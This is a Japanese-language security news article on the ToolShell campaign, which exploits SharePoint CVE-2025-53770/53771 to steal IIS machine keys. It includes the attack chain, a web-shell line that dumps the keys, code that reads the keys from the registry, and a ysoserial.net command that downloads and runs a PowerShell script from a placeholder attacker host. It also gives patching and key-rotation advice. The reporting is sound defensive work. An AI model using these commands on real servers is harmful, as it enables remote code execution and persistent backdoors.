SharePoint の脆弱性 CVE-2025-53770/53771 の悪用:ToolShell で IIS マシンキーを窃取

Hackers Target SharePoint Flaw to Access IIS Machine Keys

2025/08/06 gbhackers — Microsoft SharePoint に存在するゼロデイ脆弱性を悪用する攻撃者は、IIS マシンキーの抽出を達成し、パッチ適用や再起動の後にも有効な、永続的バックドアの構築を可能にする。2025年7月の中旬に、脅威アクターたちが開始した “ToolShell” と呼ばれる攻撃キャンペーンでは、SharePoint の2つの深刻な脆弱性 CVE-2025-53770 (CVSS:9.8) と CVE-2025-53771 (CVSS:6.3) が悪用されている。このキャンペーンの最終的な目的は IIS マシンキーの侵害であり、それにより、MAC 検証とオプションの暗号化により保護される、ViewState/Cookie/Session Data を収集することにある。

攻撃チェーンの概要
  1. 認証バイパス (CVE-2025-53771):偽造された “Referer: /_layouts/SignOut.aspx” ヘッダーを取り込むように細工された POST リクエストを、”/_layouts/15/ToolPane.aspx” に送信する攻撃者により、SharePoint は認証済みの状態に陥る。
  2. リモートコード実行 (CVE-2025-53770):続いて攻撃者は、デシリアライゼーションの脆弱性を悪用し、任意のエンドポイントへと悪意のペイロードを送信することで、ASPX Web Shell の展開を誘導する。
  3. マシンキーの抽出:展開されたシェル (例: spinstall0.aspx) は、リフレクションを使用して “System.Web.Configuration.MachineKeySection” を読み込み、その中の非公開の “GetApplicationConfig” メソッドを呼び出し、”ValidationKey” と “DecryptionKey” を取得する。漏洩したキーは、以下のように表示される。
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);

IIS マシンキーの役割は、SHA1 または HMACSHA256 MAC を介して ViewState の整合性の確保にあり、オプションで ViewState を暗号化する。デフォルトで ViewState MAC は有効化されているが、暗号化は “Auto” であるため、キーが漏洩した場合にデータの改竄へといたる可能性がある。

有効なマシンキーを取得した攻撃者は、盗んだキーで署名された、悪意の ViewState ペイロードを作成できる。IIS の LosFormatter は、それらのペイロードをデシリアライズし、ガジェット・チェーン (例: TextFormattingRunProperties) を用いてコード実行をトリガーする。

なお、それらのマシンキーは、”web.config” (管理者定義) に保存される場合もあり、また、Windows レジストリの “HKCU\Software\Microsoft\ASP.NET<version>\AutoGenKeyV4” 以下に自動生成される場合もある。

基本的なシェルは “web.config” からキーを抽出するが、Soroush Dalili が作成した高度なスクリプトは、レジストリの場所をスキャンするため、自動生成された場合であってもキーの窃取が可能となる。

レジストリ読み取りの例:

byte[] key = (byte[])Registry.GetValue(
"HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\,
  "AutoGenKeyV4", new byte[]{});

盗んだキーを悪用する攻撃者は、”ysoserial.net” を利用して署名済みの ViewState ペイロードを生成する。

ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -exec bypass -Command 'IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/shell.ps1\")'" \
--validationkey="[KEY]" --validationalg="HMACSHA256" \
--path="/app" --apppath="/app"

このペイロードを、任意の ASPX エンドポイントに送信すると、デシリアライズとリモート・コード実行がトリガーされ、永続的なバックドアがインストールされる。

米国の CISA は、脆弱性 CVE-2025-53770 を Known Exploited Vulnerabilities カタログに追加し、即時のパッチ適用とキー・ローテーションを強く求めている。その一方で Microsoft は、PowerShell コマンドレットを用いる、マシンキーのローテーションと、IIS の再起動を推奨している。

Set-SPMachineKey
Update-SPMachineKey

このキー・ローテーションが実施されるまでは、盗まれたキーは有効な状態と維持するため、攻撃者による継続的なアクセスが可能となる。

これらのインシデントが浮き彫りにするのは、システム全体に及ぶ問題である。コード・リポジトリやドキュメントに公開されているマシンキー (3,000 個以上を確認) は、それらを使用する ASP.NET アプリケーションに対して、即時性の高いリスクをもたらす。ベスト・プラクティスとして挙げられるのは、以下の項目である。

  • 静的キーではなく、自動生成キーを使用する。
  • MAC 検証と併せて ViewState 暗号化を有効化する。
  • 定期的なキー・ローテーションを行い、監査コンフィグを実装する。

SharePoint における ToolShell キャンペーンが示すのは、暗号化キー管理の重要性である。

ユーザー組織に求められるのは、脆弱性を修正するだけではなく、マシンキーの積極的なマネージメントとローテーションであり、それにより、IIS 環境における永続的な暗号化ベースのバックドアを阻止することだ。